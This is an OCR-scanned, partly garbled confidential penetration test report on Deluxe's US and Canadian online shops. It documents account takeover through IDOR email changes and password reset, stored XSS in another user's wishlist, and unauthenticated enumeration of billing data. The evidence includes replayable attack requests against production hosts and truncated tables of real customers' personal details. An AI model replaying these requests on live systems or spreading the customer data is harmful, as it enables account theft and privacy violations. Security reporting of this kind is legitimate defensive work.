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EXECUTIVE SUMMARY

The GFL Security team conducted a penetration test of the OneDeluxe and OneDeluxe Canada
web applications between November 21st, 2022, and November 25th, 2022, and due to extending
the penetration testing from November 28th, 2022, and November 30th, 2022 with potential risk
verification between December 13th, 2022 and December 15th, 2022 for OneDeluxe and
OneDeluxe Canada applications, on behalf of Deluxe Corp as part of their security assessment
program, in order to determine its exposure to a targeted attack.

Efforts were placed on the identification and exploitation of security weaknesses that could allow
a remote attacker to gain unauthorized access to organizational and/or application data.

The assessmentwas conducted in accordance with the recommendations outlinedin NIST SP 800-
115 and OWASP.

ASSESSMENT SCOPE

All the resources reachable through the tested web application during penetration testing become
a part of the pentest scope unless otherwise excluded as specified by the application team/owner
during preliminary preparation for the test.

In agreement with the application team, penetration testing of OneDeluxe and OneDeluxe Canada
was carried out against the Stage environment which is a replica of the Production instances.

For tests in the Stage environment, the next instances of the applications were provided:
- preprod.deluxe.com/products
- preprod.deluxe.ca/en-ca/products

For tests and issues confirmation in the Production environment, the next instances of the
applications were provided:

- www.deluxe.com/products
- www.deluxe.ca/en-ca/products

ACCESS LEVEL FOR CONDUCTING APEN TEST

Web applications typically maintain multiple user roles to define permissions, control areas, and
features a user will have access to within the application.

Roles and accesses to be used for assessment are stipulated with the application team/owners
beforehand as a part of the preparation for the penetration test. In the selection of the proper roles,
the GFL Security Team consulted with the application team on roles to test and relied on the
expertise of the application team to identify and provide the necessary application access for
testing.

Penetration testing of the OneDeluxe and OneDeluxe Canada applications was performed with a
user access level. Test accounts were created by the penetration testing team since accounts were
not provided and free self-registrationis available.
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VULNERABILITY RISK RATING

CRITICAL

HIGH

LOW

INFORMATIONAL

Deluxe Confidential

Critical vulnerabilities are vulnerabilities thatare deemed to pose
a very high threat to a company and should be fixed as a top
priority. They represent vulnerabilities that are easy to exploit
and can allow an attacker to completely compromise the
environment and/or cause serious damage to the organization

High-severity vulnerabilities should also be considered a top
priority for mitigation. These vulnerabilities may require more
work for an attacker to exploit or may not cause as significant
harm as a critical finding but still pose a significantrisk to the
enterprise

Medium-severity vulnerabilities are a lower priority but should
still be remediated promptly. These may be difficultto exploit
and/or may not cause significant damage if exploited.

Low-severity vulnerabilities are real but generally represent a
minimal impacton the environment. These should be remediated
after the HIGH and MEDIUM vulnerabilities are resolved.

Informational vulnerabilities have no impact as such on the
environment by themselves. However, they might provide an
attacker with information to exploit other vulnerabilities.
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RISK RATING DEFINITIONS

All penetration test findings are rated by (GFL) based on the two risk rating methods: CVSS (v3)
and OWASP Risk Rating Methodology. Thisapproach enables the GFL Security Team to produce
an accurate assessment of potential risks.

The key factors considered for risk estimation are:
- Estimated likelihood
- Estimated impact

However, such factors as an application's purpose, specifics of its use, the field or industry it
belongs to, and other nuances may contribute to the modification of a default risk level and either
mitigate or escalate it. Adjustments to risk rates are usually discussed afterward and analysis is
made based on additional details disclosed by the application team or owners.
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Summary of Results
Vulnerability risk level
Critical
Medium L 4 High
Vulnerability Title URL . Risk Level - Status

. www.deluxe.com/products

f www.deluxe.ca/en-ca/products Critical

Broken Authorization

Insecure Direct Object References

Broken Authorization

www.deluxe.com/products
www.deluxe.ca/en-ca/products
www.deluxe.com/products
www.deluxe.ca/en-ca/products
www.deluxe.com/products
www.deluxe.ca/en-ca/products
www.deluxe.com/products
www.deluxe.ca/en-ca/products

MEDIUM new

Missing Anti-CSRF Token

Outdated Software Version — jQuery-Ul MEDIUM new

Weak Change Password Functionality MEDIUM new

Weak Captcha Mechanism MEDIUM new
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fixed on preprod.deluxe.com/products


CONCLUSIONS

During penetration testing of OneDeluxe, OneDeluxe Canada applications, it was identified that
they are affected by serious access control flaws, which coupled with input validation issues
threaten confidentiality and integrity of the customers’ data. Moreover, the lack of protection
against automated attacks may lead to a complete takeover of the customer accounts with a
serious impact on the business. Also, the usage of outdated software could compromise system
integrity and its security possibilities against new threats.

Consideringthe above, itwas concluded thatthe overall risk rating for the OneDeluxe, OneDeluxe
Canada applications is Critical.
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C.1 Broken Authorization
CVSS v3 Critical
AV:N/AC:L/PR:N/UI:N/S:U/C:H/1:H/A:H ‘ 08

FINDING

During penetration testing of OneDeluxe and OneDeluxe Canada applications, a Broken
Authorization vulnerability was discovered.
Broken Authorization vulnerability demonstrates a weak access control implementation
mechanism which, in this case, provides an opportunity to compromise clients' accounts by
changing their email addresses. In case of an automated attack, the issue could be used to
compromise all existing customer accounts.

RECOMMENDATION

To resolve the problem, it is necessary to apply an authorization mechanism to all executed
requests on the site without any exceptions. Also, token usage is required to make sure that only
authorized users can execute requests.

REFERENCES

https://owasp.org/www-project-web-security-testing-quide/stable/4 -
Web Application Security Testing/05-Authorization Testing/02-
Testing for Bypassing Authorization Schema

AFFECTED APPLICATIONS

| Host | 1P
www.deluxe.com/products 104.94.100.171
www.deluxe.ca/en-ca/products 92.123.189.49
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https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/05-Authorization_Testing/02-Testing_for_Bypassing_Authorization_Schema
https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/05-Authorization_Testing/02-Testing_for_Bypassing_Authorization_Schema
https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/05-Authorization_Testing/02-Testing_for_Bypassing_Authorization_Schema

EVIDENCE A

URL.: https://www.deluxe.com/products/secure/myaccount/profileinfo/

Authentication: Required

In order to demonstrate the issue, two customer accounts were created. Manipulation with the
“Manage Contact Information” request on the “attacker” account (on the right side) allows
modifying the contact information(as well as the email address) for the “victim” account (on the

left side).

deluxe.com

Manage Contact Information

Country United States of America

First Name ‘ B8

Last Name ‘ BB

Company B8

Address 1 ‘ B8

Address 2 BB

Address 3 BB

city | B8

State / Province ‘ Alabama

Zip Code/Postal Code ‘m-m

Phone | 1111111

SAVE CHANGES Cancel

< C @ |Q B https:/fwww.deluxe.com/products/secure/myaccount/profileinfo/

Manage Contact Information

Country United States of America .
First Name ‘ AA ‘
LastName | AA |
Company AA
Address 1 ‘ AA ‘
Address 2 AA
Address 3 AA
city | AA |
State / Province ‘ Alabama v‘
Zip Code/Postal ‘ 22292 ‘
Code
Phone ‘ 222222 ‘
| e o [,

After clicking on the “Save Changes” button from the “attacker” account the next PUT request

will be executed:

PUT Request: https://www.deluxe.com/products/api/customer/503767

PUT https://www.deluxe.com/products/api/customer/503767 HTTP/1.1

Host: www.deluxe.com

email=test attacker com email%40protoroot.comtcountryld=1.firstname=AASlastname=AA"company

=AAistreet=AACstreet2=AAlstreet3=AALcity=AAlstateld=1.stateInternational=AALzip=22222

phone=222222

The request transmits customer id (503767 for the “attacker” account) in the URL path and
customer’s contact information (including email address) in the request body.
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https://www.deluxe.com/products/secure/myaccount/profileinfo/
https://www.deluxe.com/products/api/customer/503767
https://www.deluxe.com/products/api/customer/503767
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By changing the customer id value, it’s possible to modify the contact information for a different
customer with the corresponding id. As an example, the id was changed to 503097 (“victim”
account) and the email address was also modified:

PUT Request: https://www.deluxe.com/products/api/customer/503097

PUT https://www.deluxe.com/products/api/customer/503097 HTTP/1.1
Host : www.deluxe.com

email=test_changed com email%40protoroot.com®countryld=1tfirstname=AAilastname=AALcompany=
Kistreet=AR"street2=AATstreet3=AA"city=AATstateld=1"stateInternational=AA‘zip=22222" phone
=222222

Response

Header: Text ~ Body: Text ~ [ []
HTTP/1.1 200 0K
{ 1 1503097}, null}

After successful request execution, the contact information for the “victim” account was changed
(on the left side):

deluxe.com « > C @ | O B https://www.deluxe.com/products/secure/myaccount/profileinfo/
Manage Contact Information Manage Contact Information
Country United States of America " Country United States of America "
FirstName | AA | First Name | AA ‘
Last Name ‘ AR ‘ Last Name | AA ‘
Company AR Company AA
Address 1 ‘ AA ‘ Address 1 | AA ‘
Address 2 AA Address 2 AA
Address 3 AA Address 3 AA
City ‘ AA ‘ City | AA ‘
State / Province ‘ Alabama v‘ State / Province | Alabama v‘
Zip Code/Postal Code | 22222 ‘ ZipCudm'Pca::i | 22222 ‘
Phone | 222222 | Phone | 222220 |

And since the email address was changed, it is now possible to reset the password for the “victim”
account using the newly modified email.

POST https://www.deluxe.com/products/secure/myaccount/password-reset-send/ HTTP/1.1
Host: www.deluxe.com

isReset=trueiemail=test changed com email%40protoroot.com.g-recaptcha-response=
03AEkX0DBqh8TosUwy ZsWdODOBrFLRnCycgMbyQ uglZs-bZfyuAH3oYcTbT5HniraZIj04gUkbM8rzZIC0302S
sLIQxiFi4NXeHBxQ0Gob3E6KNGYH2ie5kciGZMgmmkUXxJ7IzWdXKZ0Ehaj4j3cf2vlHoG7IWHEQVrzY6XXK8szz

Response

Header: Text ~ | Body: Text ~ [ | []
HTTP/1.1 200 0K

T T 2 T T TR I C
<hl class="pagelame">Reset Password</hl= <h3=An email containing instructions for
resetting your password has been sent to test changed com emall@protoroot.com</h3=<div
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Password reset instructions were received in the controlled by the “attacker” mailbox:

- B 3 s o
(V,J You requested a password reset? 0:15 ° Deluxe' via Pentest Group
Let's get that password reset then! 855.833.... To: test_changed_com_email@protoroot.com

Let's get that password reset then!

D 855.833.5893
deluxe o —

[ customerHelp@deluxe.c

We get it, AA. Stuff happens — like forgetting a password! But hey, it's no
problem. Just click the button below and we'll help you get it reset.

RESET PASSWORD

By following the “Reset Password” link the new password was set for the “victim” account.

posT

https://www.deluxe.com/products/secure/myaccount/password-reset?token=e094el173-9639-4da7-a
79b-bf61b3c46140&em_cid=emt ran-?&em_cid=PRMGEN-TO-RL -NAGGOEOA1-US-1D-EG-USIDPASS HTTP/1.1
Host: www.deluxe.com

isReset=true’newPassword=0WI confirm_newPassword=0WE login=

Response

Header: Text ~ | Body: Text ~ [ ] []
HTTP/1.1 200 0K

class="spacer-40"=</div=<h3=5uccess! Your password has been updated.</h3=<div class=
"spacer-40"=</div=<a href="/products/" class="btn btn-primary”=Continue</a= <div class=
"spacer-60"=</div=<div class="text-center footer notification"s<div=&copy;2022&nbsp;Deluxe

And it was possible to log in to the “victim” account (id 503097) with new credentials:

POST https://www.deluxe.com/products/api/customer/sign-in HTTRP/1.1
Host: www.deluxe.com

email=test changed com email%40protoroot.com:password=QWl

Response

Header: Text ~ | Body: Text ~ [ [
HTTP/1.1 200 0K
{ :q 1503097}, null}
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EVIDENCE B

URL.: https://www.deluxe.ca/en-ca/products/secure/myaccount/profileinfo/

Authentication: Required

In order to demonstrate the issue, two customer accounts were created. Manipulation with the
“Manage Contact Information” request on the “attacker” account (on the right side) allows
modifying the contact information(as well as the email address) for the “victim” account (on the
left side).

« ] deluxe.ca <« O B https://www.deluxe.ca/en-ca/products/secure/myaccount/profileinfo/
Manage Contact Information Manage Contact Information
Country Canada Country Canada
FirstName | 83 | Firsi Name | AA |
Last Name ‘ BB | LastName | AA |
Company BB Company AA
Address 1 BB Address1 | AA |
Address 2 BB Address 2 AA
Address 3 B8 Address 3 AA
City ‘ BB | City | AA |
State / Province ‘ Alberta \,| State / Province | Alberta -
Zip Code/Postal ‘ AGASRS | Zip Code/Postal | A3TOTG |
Code Code
Phone ‘ 222222 | Phone | 123123 |
Conce conel

After clicking on the “Save Changes” button from the “attacker” account the next PUT request
will be executed:
PUT Request: https://www.deluxe.ca/en-ca/products/api/customer/503761

PUT https://www.deluxe.ca/en-ca/products/api/customer/503761 HTTP/1.1
Host: www.deluxe.ca

email=test attacker ca email%40Oprotoroot.com:countryld=36-firstname=AA"lastname=AA"company=AA
street=AAlstreet2=AAlstreet3=AALcity=AAlstateld=720stateInternational="zip=A3T0T6phone=123123

The request transmits customer id (503761 for the “attacker” account) in the URL path and
customer’s contact information (including email address) in the request body.
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By changing the customer id value, it’s possible to modify the contact information for a different
customer with the corresponding id. As an example, the id was changed to 503763 (“victim”
account) and the email address was also modified:

PUT Request: https://www.deluxe.ca/en-ca/products/api/customer/503763

PUT https://www.deluxe.ca/en-ca/products/api/customer/503763 HTTP/1.1
Host: www.deluxe.ca

email=test changed ca email%40protoroot.com:countryld=36:firstname=AASLlastname=AAScompany=AA
street=AAUstreetZ=AATstreetd=AATcity=AAlstateld=72/statelnternational="zip=A3T0T6.phone=123123

Response

Header: Text ~ | Body Text ~ [ [
HTTP/1.1 200 0K
{ q 1503763}, null}

After successful request execution, the contact information for the “victim” account was changed
(on the Ieftside):

« O 8 httpsy//www.deluxe.ca/en-ca/products/secure/myaccount/profileinfo/
Manage Contact Informatlon Manage Contact Information
Country  Canada Country | Canada
FirstName | AA | FirstName | AA |
LastName | AA | LastName | AA |
Company  AA Company  AA
Address1 | AA | Address1 | AA ‘
Address2 A& Address2  AA
Address3  AA Address3  AA
City ‘ AA | City ‘ AA ‘
State / Province | Alberta v State/ Province | Alberta vl
ZipCodein::ael | AaTOTE | Ziande!Pcu:tdaEI | AaToTs |
Phone | 123123 | Phone | 123123
cancel Cancel

And since the email address was changed, it is now possible to reset the password for the “victim”
accountusing the newly modified email.

POST https://www.deluxe.ca/en-ca/products/secure/myaccount/password-reset-send/ HTTP/1.1
Host: www.deluxe.ca

isReset=truetemail=test changed ca email%40protoroot.com.g-recaptcha-response=

03AEKXODA-pwGJHOS T ITQEyRILAMBORESLVAP_nXCXGADBWINUUd-dh1RyaqlyyB_xLFw-3TLR12tEPLrTo9EfIbac
TkHx91e87PyPrvRTeakC9I0vI-VOvpQK30t4JUDGEE3]yIzON93LGbvivxhDhbQOLhLmsDFK1Ki-F8dPurinXM 2bTB
arurNc ATMARFkYRvxNen 11dt wNPMYR¥NvRwazF+3NXiC3hinRrl Vtu5-nmdmh50NPaek] rmulNel SenMhSiaWZ fAMx

Response

Header: Text ~ | Body: Text ~ ] [
HTTP/1.1 200 0K

SCTUNY Lu— Sy DOGy s~ S LT Orge~ L T TOe o OGSO eSS T T GE e WO T
=An email containing instructions for resetting your password has been sent to
test_changed ca emall@protoroot com<x’h3><d1v "La““— Spacer- 4[3] ><x’d1v><a href=

Password reset instructions were received in the controlled by the “attacke I’ mailbox:
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() You requested a password reset? 23:29 ° 'Deluxe Canada' via Pentest Group
Let's get that password reset then! 877.632.... To: test_changed_ca_email@protoroot.com Fri 2022-12

1'% qet that pazmveed resed then!

D 877.632.7758

deluxe T stiat

4 customerHelp@deluxe.o

We get it, AA. Stuff happens — like forgetting a password! But hey, it's no
problem. Just click the button below and we’ll help you get it reset.

RESET PASSWORD

By following the “Reset Password” link the new password was set for the “victim” account.

POST
https://www.deluxe.ca/en-ca/products/secure/myaccount/password-reset ?token=081b237b-3348
-4c3d-9c27 - f676892dae5elem_cid=emtran- HTTR/1.1

Host: www.deluxe.ca

isReset=truetnewPassword=0Wl confirm_newPassword=0WE login=

Response

Header: Text ~ Body: Text ~ | [ []

HTTP/1.1 260 OK

"fen-ca/products/Secure/myaccount/"=Your Account=/a=</li=<li class="active"=Reset Your
Password<s/li=</ol> <hl class="pageName">Reset Password</hl=<div class="spacer-20"=></div
= <=div class="spacer-40"=</div=<h3=5uccess! Your password has been updated.</h3=<div
class="spacer-40"=</div=<a href="/en-ca/products/" class="btn btn-orimarv =Continue</a=

And it was possible to log in to the “victim” account (id 503763) with new credentials:

POST https://www.deluxe.ca/en-ca/products/api/customer/sign-in HTTP/1.1
Host: www.deluxe.ca

email=test changed ca email%40protoroot.comipassword=QWE

Response

Header: Text ~ Body: Text ~ | || []

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-B8

{ q :503763%1, :null}
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H.1Insecure Direct Object References

CVSSv3
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N _

FINDING

During the penetration testing, it was found that it is possible to manipulate with other user’s data.
For example, it is possible to edit wishlists of other users. Moreover, successful exploitation
allows attackers to perform Cross-Site Scripting attacks.

Cross-Site Scripting attacks are a type of injection vulnerability, in which malicious scripts are
injected into otherwise benign and trusted websites. Cross-site scripting (XSS) attacks are working
to send malicious code, generally in the formof a client-sidescript, to the end user when an attacker
uses a web application. Flaws that allow these attacks to succeed are quite widespread and occur
anywhere a web application uses input from a user in the output it generates without validating or
encodingit.

Stored attacks are those where the injected scriptis permanently stored on the target servers, such
as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the
malicious script from the server when it requests the stored information.

RECOMMENDATION

In order to resolve the “Insecure Direct Object References” issue it’s recommended to
implement a proper access validation mechanism.

Also, to prevent Cross-Site Scripting attacks, it is recommended to implement syntactic and
semantic input validationsand check the data that the application receives in addition.

REFERENCES
https://wiki.owasp.org/index.php/Testing for Insecure Direct Object References (OTG-AUTHZ-004)

https://cheatsheetseries.owasp.org/cheatsheets/Input Validation Cheat Sheet.html

AFFECTED APPLICATIONS

| Host | 1P
www.deluxe.com/products 104.94.100.171
www.deluxe.ca/en-ca/products 92.123.189.49
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EVIDENCE A

URL.: https://www.deluxe.com/products/secure/wishlist/?id=3180156
Payload: <img src=x onerror=alert(*XSS")>

Parameters: cartname, cartid

Authentication: Required

Below are steps to replicate the issue:
On the “Edit wishlist” page, fill the “List Name” field with the payload and submit the changes:

&« - O @ O 8 https;//www.deluxe.com/products/secure/wishlist/?id=3180156 w7

Edit New wish list

List Name

<img src=x onerror=alert('’XS5')=

Make Default List?
Yes

List Visibility

() Public @ Private

Close SAVE CHANGES

Intercept the request using any MiTM proxy(such as Zaproxy, Burp) and change the cartid value
to any other user’s card id:

PUT https://www.deluxe.com/products/api/wishlist/ HTTP/1.1

Host: www.deluxe.com
cartid=31801560cartname=%3Cimg+src%3Dx+onerrors3Dalert(' XSS5 )%3Etdefault=1tvisibility
=0

Response

Header: Text -~ Body: Text -~ [] [
HTTP/1.1 2084 No Content

As a result, the wishlist of the user whose cartid was specified is modified with malicious cart
name:

« - X @ O 8 https://www.deluxe.com/products/secure/wishlist/2id=3180156&msg=List+Updated ¥¥ @ »

@ www.deluxe.com

X558

EVIDENCE B
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URL.: https://www.deluxe.ca/en-ca/products/secure/wishlist/?id=3169577
Payload: <img src=x onerror=alert(*XSS")>

Parameters: cartname, cartid

Authentication: Required

Below are steps to replicate the issue:
On the “Edit wishlist” page, fill the “List Name” field with the payload and submit the changes:

&« > C @ U B https://www.deluxe.ca/en-ca/products/secure/wishlist/?id=3169577 ww ® » =

Edit TEST1

List Name

<img src=x onerror=alert(’XSS")>

Make Default List?

No

List Visibility
© Public @ Private

Close SAVE CHANGES

Intercept the request using any MiTM proxy(such as Zaproxy, Burp) and change the cartid value
to any other user’s card id:

PUT https://www.deluxe.ca/en-ca/products/api/wishlist/ HTTP/1.1

Host: www.deluxe.ca
cartid=3169577.cartname=%3Cimg+src%3Dx+onerrors3Dalert( ' X5S')%3Etdefault=0ivisibility
=0

Response

Header: Text ~ Body: Text ~ [ []
HTTP/1.1 204 No Content

As a result, the wishlist of the user whose cartid was specified is modified with malicious cart
name:

« - X @ Q 8 httpsy//www.deluxe.ca/en-ca/products/secure/wishlist/?id=3169577&msg=List+Updated ¥¥ »

© www.deluxe.ca

XS5
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H.2 Broken Authorization
CVSS v3 _ _ _ RN
AV:N/AC:L/PR:N/UI:N/S:U/C:H/1:N/A:N _

FINDING

The application allows unauthorized users to gain access to the data of other users, thereby
compromising the integrity and confidentiality of the uploaded data, as they can not only reveal
the identity of the user butalso include confidential information.

Often, this information can be leveraged to launch or even automate more powerful attacks.

RECOMMENDATION
To resolve the problem, it is necessary to apply an authorization mechanism to all executed

requests on site without any exceptions. Also, token usage is required to make sure that only
authorized users can execute requests.

REFERENCES

https://owasp-aasvs.readthedocs.io/en/latest/requirement-8.1.html

https://www.forcepoint.com/cyber-edu/data-leakage

https://cheatsheetseries.owasp.org/cheatsheets/User Privacy Protection Cheat Sheet.html

https://owasp.org/www-community/Broken Access Control

https://owasp.org/www-project-web-security-testing-quide/stable/4 -
Web Application Security Testing/05-Authorization Testing/02-
Testing for Bypassing Authorization Schema

AFFECTED APPLICATIONS

| Host | 1P
www.deluxe.com/products 104.94.100.171
www.deluxe.ca/en-ca/products 92.123.189.49
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EVIDENCE A

URL(POST):
https://www.deluxe.com/products/Secure/Addresses/Get/GetShippingAddress.cshtml

Authentication: Not required

Pictures below demonstrate that the application returns customers’ billing information based on
the customer_id value, without checking for a valid session token.

Request with customer_id 503209:

POST https://www.deluxe.com/products/Secure/Addresses/Get/GetBillingAddress.cshtml HTTR/1.1
Host: www.deluxe.com

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Content-Length: 18

customer id=503209

Response
Header: Text ~ | Body: Text ~ | [ =] &=
HTTP/1.1 200 OK
{ test”, test”, 'test", test”, ltest”,
tMtest”, ttest”, 172, UAB", HE :
"T7XOAS", 36, :"Canada", :"23123123", :
"test_proddeluxecaproducts_2@ " 11, HI
test"}

Request with customer_id 503200:

POST https://www.deluxe.com/products/Secure/Addresses/Get/GetBillingAddress.cshtml HTTR/1.1
Host: www.deluxe.com

Content -Type: application/x-www-form-urlencoded; charset=UTF-8

Content-Length: 18

customer_id=503200

Response
Header: Text -~  Body: Text v | =] =
HTTP/1.1 200 0K
[ 'y " T I o T I

s i oy " .42, UpAT, .

', i ", 01, :"United States of America”, "7l ",
:"myro ", :1, 0,
-ng] "y
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Enumeration of the customer_id value allows to obtain billing information of all existing
accounts:

Task ID

0~ O W e

w

10
11
12
13
14
15
16
17
18

Code Reason

200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 0K
200 OK
200 0K
200 OK
200 0K
200 OK

RTT
344 ms
159 ms
267 ms
15.95s
1684 ms
509 ms
158 ms
568 ms
161 ms
279 ms
153 ms
1.05s
415 ms
169 ms
333 ms
175 ms
154 ms
1684 ms

List of billing information of some existing accounts:

First_Name Last_Name Company

1
2 _EF
3
4
s i
6
7
8

10 Me
1 Jo
12 Jo
13 Jo
14 Ju
15 s
16 M/

18 Jo

wi
Ve
Ce
LA
Ke
Ee
Mi
GF
Rit
Pc
Se
Me
Gr
Re
M
ble
Rii
Me
Se
Sn
Ar
HE
Mi
Le
Pe
M
Le
Sn
Ste
Nu
po
De
Ac
Fig
Ar
Be

2 |Be

Elc
De
Rc
Rc
ol
e

Out

Coc
Alcl
Gul

Sak
DIA
Ent:
pris
i# Clir
M4 F
LAV
Rar
Tale
Har
Ada
AEC
HEL
Inde
LVF
GTI
Anr
Car

Cat

Voll
Adv
Cor
A
min
PJC
City
Inte
Per
The
Lon
Js

Uas

Street
950

142
27
427
102
121
440
506
37t
SO F
402
261
803
135
674
PO
116
133
421
551
254
43¢
250
246
240
PO
PO
112
317
232
789
764
522
Buil
210
210

211
205
100
473
145
2c1
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City
»Chiy
»Roc
* Delt

FAIl

Mee
»Con
*ME”
YElgi
»Coa

FLC
»Bett
PElla

Wilc
»Burl
» OAk

WA
»Buff
*Ana
»Gra
»Swe
PVIN
»PON
PESC
»Mor
» Athe

Chri

Pec
»Cha
»Anc
»CAN
'Tea

Farr
»Tuc
»Can
»Carl
» Carl
»Dav
»Gre
»Met
»Libe
» Mac
PTAN

State_ID State Zip
P SsWI 54 )
33NH I

73BC V4G 1
34NJ 7
75NB  N4L 1
37NC 28 i
22LA 70006-
45SC 20085
42PA 18
36NY 1
36NY 1
13GA 31 i
12FL 34
6CA 9 )
S3WA Q0
28MS 38
171L 60089
6CA o2ui
26MI 49 4
25MA 158
34NJ 8
12FL 3
26MI 49829
54wV 26
13GA 30
69VI 00824 *
29MO 64078
37NC 28
2AK OO}
6CA 93 )
34NJ T
29MO 63640
4AZ 85 i
37NC 28 i
35NM 88 )
35NM 88 )
12FL 33314
45SC 29615
34N 8
29MO 64068
13GA 31
12FL 33
2481 i

Country_ID_Country_Name Phone

1 United States ¢ 71
1United States ¢ 60

36 Canada 177
1United States ¢ 20
36 Canada 519-53

1United States ¢ 70
1United States ¢251-53
1United States ¢ 80
1United States ¢ 57
1United States ¢ 51
1United States ¢ 21
1United States ¢229-94
1United States ¢ 35
1United States ¢ 65
1United States ¢ 50
1United States ¢ 662-54
1United States ¢ 708-52
1 United States ¢ 81
1United States ¢ 23
1United States ¢(617) 5
1 United States ¢ (609) 4
1United States ¢910-97
1United States ¢ 90
1United States ¢ 30
1United States ¢ 706-61
1United States ¢ 34
1United States ¢ 41
1United States ¢ 70
1United States ¢ 920
1United States ¢ 80
1United States ¢ 20
1United States ¢ 57
1United States ¢ 52
1United States ¢ 91
1 United States ¢ 69
1United States ¢ 57
1United States ¢ 56
1United States ¢ 86
1United States ¢732-54
1United States ¢ 816-45
1United States ¢ 47
1 United States ¢ (813) 8

a7

1l initad Qratae 4

K

Size Resp. Header
1,935 bytes
1,933 bytes
1,933 bytes
1,936 bytes
1,933 bytes
1,934 bytes
1,933 bytes
1,934 bytes
1,932 bytes
1,934 bytes
1,933 bytes
1,935 bytes
1,934 bytes
1,933 bytes
1,934 bytes
1,933 bytes
1,933 bytes
1,933 bytes

Email
.erica.
2andre
iits@c
3ILAZ:

cptme
_codye

hyres
)5zxpu
3 Nety€
3 Johnt
}beme
john.r
3 pristir
Tisela.
IMAR®

SHIF

conta
’reyna
sssern

resmi

Piped

sheas
}rmiro:
deric.le

vpere
annal
Scm_h
_jeffds
3joe@«
Jatmpe
.accot
3jdevli
" DAce
> kimbe
3mime
)pioie
)benjo
»eldrec

kasia

therot
Iwill@

jsteel

Size Resp. Body

375 bytes
420 bytes
775 bytes
379 bytes
752 bytes
427 bytes
383 bytes
741 bytes
420 bytes
402 bytes
407 bytes
398 bytes
400 bytes
377 bytes
420 bytes
413 bytes
449 pytes
386 bytes

L M

N

Payloads
503209
503208
503207
503206
503205
503204
503203
503202
503201
503200
503199
503198
503197
503196
503195
503194
503193
503192

o

Is_Receive_Email Is_Receive_Print Customer_Address_Name

0

s MO0 000000 OHORKHROOORORORKLOOOKMKORORKMOOOKROOO

1Ws¢
0142
12-72
1427
1Coo
1Hom
0440
0506
037E
150 F
1402¢
0261
0803
1Hom
0674
0PO
01167
1133
14210
0557
0254«
043¢
1
0246
0240¢
0PO
oPO
0112¢ L]
1317
1232
0789
0764
1522¢
1
1210
1210
0574(
0211
0205
0100
0473
0145:
nacT
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EVIDENCE B

URL(POST): https://www.deluxe.ca/en-
ca/products/Secure/Addresses/Get/GetBillingAddress.cshtml

Authentication: Not required

Pictures below demonstrate that the application returns customers’ billing information based on
the customer_id value, without checking for valid session token:

Request with customer_id value 503209:

POST https://www.deluxe.ca/en-ca/products/Secure/Addresses/Get/GetBillingAddress.cshtml HTTP/1.1
Host: www.deluxe.ca

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 18

customer id=503209

Response
Header: Text ~  Body: Text ~ | =l =
HTTP/1.1 200 0K
{ "test”, test”, Mtest”, Mtest”, Mtest”,
(Mtest”, (Mtest”, 172, (UAB", R :
"TT7XOAS", 136, :"Canada", :"23123123", :
"test proddeluxecaproducts 2@ Y, :1, :1,
tMtest"}

Request with customer_id value 503200:

POST https://www.deluxe.cas/en-ca/products/Secure/Addresses/Get/GetBillingAddress.cshtml HTTP/1.1
Host: www.deluxe.ca

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 18

customer id=503200

Response
Header: Text - Body: Text ~ | | 1E] &=
HTTP/1.1 200 0K
[ - 'my " - mi " s - ng| "

o e Sy " .42, S"PA", .

n, 'l ", :1, :"United States of America”, "7l '
"myro ", :1, 0,
g "y
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Enumeration of the customer_id value allows to obtain billing information of all existing

accounts:

Task D

M~ MU W e

w

10
11
12
13
14
15
16
17
18

Code Reason

200 OK
200 0K
200 OK
200 0K
200 OK
200 0K
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK
200 OK

RTT
344 ms
159 ms
267 ms
15.9s
1684 ms
509 ms
158 ms
568 ms
161 ms
279 ms
153 ms
1.05s
415 ms
1689 ms
333 ms
175 ms
154 ms
1684 ms

List of billing information of some existing accounts:

A B c )
1 First_Name Last_ Name Company  Street
2 EF wi 950
3 An Ve 142
4 O Ce Out ran
5 Jin LA 427
6 Ka Ke Coc 102
7 Cc Ee Alct 121
8 Ke Mi Gul 440
s Q# GF 506
10 Me Rit 37t
1 Jo Pc Sak SOF
12 Jo Se DIA 402
13 Jo M Entt 261
14 Ju Gr pris 803
15 |Ise R i*Clir 135
16 M/ M M4F 674
17 _lav bl LA\ PO
18 Jo Ri Rar 116
19 Re Me Tal¢ 133
20 'Sh Se Har 421
21 R Sn Ada 551
22 Fri Ar AEC 254
23 SF HE HEL 43¢
24 Re Mi Inde 250
25 Er Le LVF 246
26 Vi Pe GTI 240
27 Br M Anr PO
28 Nc Le Car PO
29 Je Sn 12
30 Jo St Cat 317
31 Mi Nu 232
32 joe po Vol 789
3 Je De Adv 764
34 Dii Ac Cor 522
35 Kit Fi¢ _MA Buil
36 Su Ar min 210
37 Rc Be PJC 210
38 GL Be City 574
39 Le Ele Inte 211
40 Ka 1 De Per 205
41 M Rc The 100
42 Wi Rc Lon 473
43 St ol JSs 145
a1 ra - Uas 2
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City
* Chip
»Roc
* Delt

FAIl

Mee
»Con
*ME”
YElgi
*Coa

FLC
»Bett
PElla

Wil
»Burl
» OAF

WA
» Buff
*Ana
»Gra
»Swe
PVIN
»POM
PESC
» Mor
» Athe

Chri

Pec
»Cha
»Anc
»CAN
'Tea

Farr
*Tuc
»Can
»Carl
» Carl
*Dav
»Gre
»Met
»Libe
»Mac
PTAN

E

F G H
State_ID State Zip
K S5wiI 54 )
33NH 3
73BC V4G 1
34NJ 7
75NB  N4L 1t
37NC 28
221LA 70006- *
45SC 20085
42PA 18
36NY 1
36NY pbl
13GA 31
12FL 34
6CA 95
S3WA 901
28MS 38
171L 60089
6CA 92 i
26MI 49
25MA 158
34NJ 8
12FL 3
26MI 49829
54wV 26
13GA 30
69VI 00824 -+
29MO 64078
37NC 28
2AK OO}
6CA 3 1
34N T
29MO 63640
4AZ 85 i
37NC 28 i
35NM 88 )
35NM 88 )
12FL 33314
